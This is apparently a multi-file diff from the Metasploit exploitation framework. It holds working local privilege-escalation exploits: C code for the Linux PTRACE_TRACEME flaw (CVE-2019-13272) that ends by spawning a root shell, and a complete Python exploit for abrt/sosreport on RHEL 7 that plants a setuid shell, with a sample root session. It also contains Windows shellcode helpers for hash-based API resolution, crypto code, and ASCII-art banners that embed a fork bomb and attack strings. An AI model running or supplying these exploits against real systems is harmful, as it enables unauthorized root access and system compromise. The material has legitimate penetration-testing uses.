middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
return 0;
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
return force_exec_and_wait(child, 42, "stage3");
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
exit(EXIT_FAILURE);
}
if (stat("/dev/grsec", &st) == 0) {
dprintf("[-] Warning: grsec is in use\n");
warn++;
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}
dprintf("[~] Done, looks good\n");
return warn;
}
/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n", cmd);
exit(EXIT_FAILURE);
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;
memset(buffer, 0, sizeof(buffer));
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0], "/cpugovctl") != 0 ||
strstr(&buffer[0], "/package-system-locked") != 0 ||
strstr(&buffer[0], "/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
continue;
}
/* check the path exists */
if (stat(&buffer[0], &st) != 0)
continue;
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n", helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}
/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
int i;
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
}
/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}
return 0;
}
@@ -0,0 +1,114 @@
#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015
# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport: sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
import os,sys,glob,time,sys,socket
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
pid = os.fork()
if pid == 0:
os.execl("/usr/bin/sleep","sleep","100")
time.sleep(0.5)
print "crashing pid %d" % pid
os.kill(pid,11)
print "waiting for dump directory"
def waitpath(p):
while 1:
r = glob.glob(p)
if len(r) > 0:
return r
time.sleep(0.05)
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
print "dump directory: ", dumpdir
os.chdir(dumpdir)
print "waiting for sosreport directory"
sosreport = waitpath("sosreport-*")[0]
print "sosreport: ", sosreport
print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")
print "tmpfiles: ", tmpfiles
print "moving directory"
os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)
os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
print "moving tmpfiles"
for x in tmpfiles:
print "%s -> %s" % (x,x + ".old")
os.rename(x, x + ".old")
open(x, "w+").write("/tmp/hax.sh\n")
os.chmod(x,0666)
os.chdir("/")
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
def trigger():
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except: pass
time.sleep(0.5)
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
print "success"
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
sys.exit(-1)
for x in xrange(0,60*10):
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
print "done"
trigger()
time.sleep(1)
sys.stderr.write(".")
print "timed out"
@@ -0,0 +1,224 @@
/*
chacha-merged.c version 20080118
D. J. Bernstein
Public domain.
*/
/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */
#include <stddef.h>
typedef unsigned char u8;
typedef unsigned int u32;
typedef struct
{
u32 input[16]; /* could be compressed */
} chacha_ctx;
#define U8C(v) (v##U)
#define U32C(v) (v##U)
#define U8V(v) ((u8)(v) & U8C(0xFF))
#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
#define ROTL32(v, n) \
(U32V((v) << (n)) | ((v) >> (32 - (n))))
#define U8TO32_LITTLE(p) \
(((u32)((p)[0]) ) | \
((u32)((p)[1]) << 8) | \
((u32)((p)[2]) << 16) | \
((u32)((p)[3]) << 24))
#define U32TO8_LITTLE(p, v) \
do { \
(p)[0] = U8V((v) ); \
(p)[1] = U8V((v) >> 8); \
(p)[2] = U8V((v) >> 16); \
(p)[3] = U8V((v) >> 24); \
} while (0)
#define ROTATE(v,c) (ROTL32(v,c))
#define XOR(v,w) ((v) ^ (w))
#define PLUS(v,w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v),1))
#define QUARTERROUND(a,b,c,d) \
a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \
c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \
a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \
c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
static const char sigma[16] = "expand 32-byte k";
static const char tau[16] = "expand 16-byte k";
static void
chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits)
{
const char *constants;
x->input[4] = U8TO32_LITTLE(k + 0);
x->input[5] = U8TO32_LITTLE(k + 4);
x->input[6] = U8TO32_LITTLE(k + 8);
x->input[7] = U8TO32_LITTLE(k + 12);
if (kbits == 256) { /* recommended */
k += 16;
constants = sigma;
} else { /* kbits == 128 */
constants = tau;
}
x->input[8] = U8TO32_LITTLE(k + 0);
x->input[9] = U8TO32_LITTLE(k + 4);
x->input[10] = U8TO32_LITTLE(k + 8);
x->input[11] = U8TO32_LITTLE(k + 12);
x->input[0] = U8TO32_LITTLE(constants + 0);
x->input[1] = U8TO32_LITTLE(constants + 4);
x->input[2] = U8TO32_LITTLE(constants + 8);
x->input[3] = U8TO32_LITTLE(constants + 12);
}
static void
chacha_ivsetup(chacha_ctx *x,const u8 *iv)
{
x->input[12] = 1;
x->input[13] = U8TO32_LITTLE(iv + 0);
x->input[14] = U8TO32_LITTLE(iv + 4);
x->input[15] = U8TO32_LITTLE(iv + 8);
}
static void
chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes)
{
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
u8 *ctarget = NULL;
u8 tmp[64];
u32 i;
if (!bytes) return;
j0 = x->input[0];
j1 = x->input[1];
j2 = x->input[2];
j3 = x->input[3];
j4 = x->input[4];
j5 = x->input[5];
j6 = x->input[6];
j7 = x->input[7];
j8 = x->input[8];
j9 = x->input[9];
j10 = x->input[10];
j11 = x->input[11];
j12 = x->input[12];
j13 = x->input[13];
j14 = x->input[14];
j15 = x->input[15];
for (;;) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) tmp[i] = m[i];
m = tmp;
ctarget = c;
c = tmp;
}
x0 = j0;
x1 = j1;
x2 = j2;
x3 = j3;
x4 = j4;
x5 = j5;
x6 = j6;
x7 = j7;
x8 = j8;
x9 = j9;
x10 = j10;
x11 = j11;
x12 = j12;
x13 = j13;
x14 = j14;
x15 = j15;
for (i = 20;i > 0;i -= 2) {
QUARTERROUND( x0, x4, x8,x12)
QUARTERROUND( x1, x5, x9,x13)
QUARTERROUND( x2, x6,x10,x14)
QUARTERROUND( x3, x7,x11,x15)
QUARTERROUND( x0, x5,x10,x15)
QUARTERROUND( x1, x6,x11,x12)
QUARTERROUND( x2, x7, x8,x13)
QUARTERROUND( x3, x4, x9,x14)
}
x0 = PLUS(x0,j0);
x1 = PLUS(x1,j1);
x2 = PLUS(x2,j2);
x3 = PLUS(x3,j3);
x4 = PLUS(x4,j4);
x5 = PLUS(x5,j5);
x6 = PLUS(x6,j6);
x7 = PLUS(x7,j7);
x8 = PLUS(x8,j8);
x9 = PLUS(x9,j9);
x10 = PLUS(x10,j10);
x11 = PLUS(x11,j11);
x12 = PLUS(x12,j12);
x13 = PLUS(x13,j13);
x14 = PLUS(x14,j14);
x15 = PLUS(x15,j15);
#ifndef KEYSTREAM_ONLY
x0 = XOR(x0,U8TO32_LITTLE(m + 0));
x1 = XOR(x1,U8TO32_LITTLE(m + 4));
x2 = XOR(x2,U8TO32_LITTLE(m + 8));
x3 = XOR(x3,U8TO32_LITTLE(m + 12));
x4 = XOR(x4,U8TO32_LITTLE(m + 16));
x5 = XOR(x5,U8TO32_LITTLE(m + 20));
x6 = XOR(x6,U8TO32_LITTLE(m + 24));
x7 = XOR(x7,U8TO32_LITTLE(m + 28));
x8 = XOR(x8,U8TO32_LITTLE(m + 32));
x9 = XOR(x9,U8TO32_LITTLE(m + 36));
x10 = XOR(x10,U8TO32_LITTLE(m + 40));
x11 = XOR(x11,U8TO32_LITTLE(m + 44));
x12 = XOR(x12,U8TO32_LITTLE(m + 48));
x13 = XOR(x13,U8TO32_LITTLE(m + 52));
x14 = XOR(x14,U8TO32_LITTLE(m + 56));
x15 = XOR(x15,U8TO32_LITTLE(m + 60));
#endif
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
/* stopping at 2^70 bytes per nonce is user's responsibility */
}
U32TO8_LITTLE(c + 0,x0);
U32TO8_LITTLE(c + 4,x1);
U32TO8_LITTLE(c + 8,x2);
U32TO8_LITTLE(c + 12,x3);
U32TO8_LITTLE(c + 16,x4);
U32TO8_LITTLE(c + 20,x5);
U32TO8_LITTLE(c + 24,x6);
U32TO8_LITTLE(c + 28,x7);
U32TO8_LITTLE(c + 32,x8);
U32TO8_LITTLE(c + 36,x9);
U32TO8_LITTLE(c + 40,x10);
U32TO8_LITTLE(c + 44,x11);
U32TO8_LITTLE(c + 48,x12);
U32TO8_LITTLE(c + 52,x13);
U32TO8_LITTLE(c + 56,x14);
U32TO8_LITTLE(c + 60,x15);
if (bytes <= 64) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) ctarget[i] = c[i];
}
x->input[12] = j12;
x->input[13] = j13;
return;
}
bytes -= 64;
c += 64;
#ifndef KEYSTREAM_ONLY
m += 64;
#endif
}
}
@@ -0,0 +1,136 @@
#ifndef _KERNEL_UTIL
#define _KERNEL_UTIL
typedef BOOL (WINAPI *FuncCreateProcess) (
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *FuncSetHandleInformation)
(
HANDLE hObject,
DWORD dwMask,
DWORD dwFlags
);
typedef BOOL (WINAPI *FuncReadFile)
(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesToRead,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncWriteFile)
(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncPeekNamedPipe)
(
HANDLE hNamedPipe,
LPVOID lpBuffer,
DWORD nBufferSize,
LPDWORD nBytesRead,
LPDWORD lpTotalBytesAvailable,
LPDWORD lpBytesLeftThisMessage
);
typedef BOOL (WINAPI *FuncCreatePipe)
(
PHANDLE hReadPipe,
PHANDLE hWritePipe,
LPSECURITY_ATTRIBUTES lpPipeAttributes,
DWORD nSize
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef HGLOBAL (WINAPI *FuncGlobalAlloc)
(
UINT uFlags,
SIZE_T dwBytes
);
typedef HGLOBAL (WINAPI *FuncGlobalFree)
(
HGLOBAL hMem
);
typedef HANDLE (WINAPI *FuncHeapCreate)
(
DWORD flOptions,
SIZE_T dwInitialize,
SIZE_T dwMaximumSize
);
typedef LPVOID (WINAPI *FuncHeapAlloc)
(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
typedef VOID (WINAPI *FuncSleep)
(
DWORD dwMilliseconds
);
typedef HANDLE (WINAPI *FuncGetCurrentProcess) ();
typedef BOOL (WINAPI *FuncGetExitCodeProcess)
(
HANDLE hProcess,
LPDWORD lpExitCode
);
typedef VOID (WINAPI *FuncExitProcess)
(
UINT uExitCode
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef BOOL (WINAPI *FuncVirtualProtect)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef LPVOID (WINAPI *FuncVirtualAlloc)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL (WINAPI *FuncVirtualFree)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
#endif
@@ -0,0 +1,152 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _PAYLOAD_UTIL
#define _PAYLOAD_UTIL
#include <windows.h>
#include <winternl.h>
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
LPTSTR lpFileName
);
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
dwModuleHash = ROTR32( dwModuleHash, 13 );
if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
// All modules have been exhausted and the function was not found.
return NULL;
}
#endif
@@ -0,0 +1,64 @@
#ifndef _WINSOCK_UTIL
#define _WINSOCK_UTIL
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#include <ws2tcpip.h>
typedef int (WINAPI *FuncWSAStartup)
(
WORD wVersionRequired,
LPWSADATA lpWSAData
);
typedef int (WINAPI *FuncWSACleanup) ();
typedef int (WINAPI *FuncGetAddrInfo)
(
PCSTR pNodeName,
PCSTR pServiceName,
const ADDRINFO *pHints,
LPADDRINFO *ppResult
);
typedef void (WINAPI *FuncFreeAddrInfo)
(
LPADDRINFO pAddrInfo
);
typedef SOCKET (WINAPI *FuncWSASocketA) (
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
typedef int (WINAPI *FuncConnect)
(
SOCKET s,
const struct sockaddr *name,
int namelen
);
typedef int (WINAPI *FuncSend)
(
SOCKET s,
const char *buf,
int len,
int flags
);
typedef int (WINAPI *FuncRecv)
(
SOCKET s,
char *buf,
int len,
int flags
);
#endif
+33
View File
@@ -0,0 +1,33 @@
`:oDFo:`
./ymM0dayMmy/.
-+dHJ5aGFyZGVyIQ==+-
`:sm⏣~~Destroy.No.Data~~s:`
-+h2~~Maintain.No.Persistence~~h+-
`:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
-++SecKCoin++e.AMd` `.-://///+hbove.913.ElsMNh+-
-~/.ssh/id_rsa.Des- `htN01UserWroteMe!-
:dopeAW.No<nano>o :is:TЯiKC.sudo-.A:
:we're.all.alike'` The.PFYroy.No.D7:
:PLACEDRINKHERE!: yxp_cmdshell.Ab0:
:msf>exploit -j. :Ns.BOB&ALICEes7:
:---srwxrwx:-.` `MS146.52.No.Per:
:<script>.Ac816/ sENbove3101.404:
:NT_AUTHORITY.Do `T:/shSYSTEM-.N:
:09.14.2011.raid /STFU|wall.No.Pr:
:hvensntSurb025N. dNVRGOING2GIVUUP:
:#OUTHOUSE- -s: /corykennedyData:
:$nmap -oS SSo.6178306Ence:
:Awsm.da: /shMTl#beats3o.No.:
:Ring0: `dDestRoyREXKC3ta/M:
:23d: sSETEC.ASTRONOMYist:
/- /yo- .ence.N:(){ :|: & };:
`:Shall.We.Play.A.Game?tron/
```-ooy.if1ghtf0r+ehUser5`
..th3.H1V3.U2VjRFNN.jMh+.`
`MjM~~WE.ARE.se~~MMjMs
+~KANSAS.CITY's~-`
J~HAKCERS~./.`
.esc:wq!:`
+++ATH`
`
+22
View File
@@ -0,0 +1,22 @@
%clr ___ ____
,-"" `.%yel %whi< HONK >
,' _ e %yel)`-._%whi / ----
/ ,' `-._%yel<.===-'%whi
/ /
/ ;
_ / ;
(`._ _.-"" ""--..__,' |
<_ `-"" \
<`- :
(__ <__. ;
`-. '-.__. _.' /
\ `-.__,-' _,'
`._ , /__,-'
""._\__,'%yel< <____%whi
%yel| | `----.`.
%whi %yel| | \ `.
%whi %yel; |___ \-``
%whi %yel\ --<
%whi %yel`.`.<
%whi %yel`-'
%whi
+1 -1
View File
@@ -31,7 +31,7 @@ Stack: 90909090990909090990909090
ffffffff..................
%clr
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00%clr
Aiee, Killing Interrupt handler
%redKernel panic: Attempted to kill the idle task!
In swapper task - not syncing%clr
@@ -25,5 +25,5 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24
Example 3:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:/tmp/ip_list.txt
```
@@ -0,0 +1,48 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
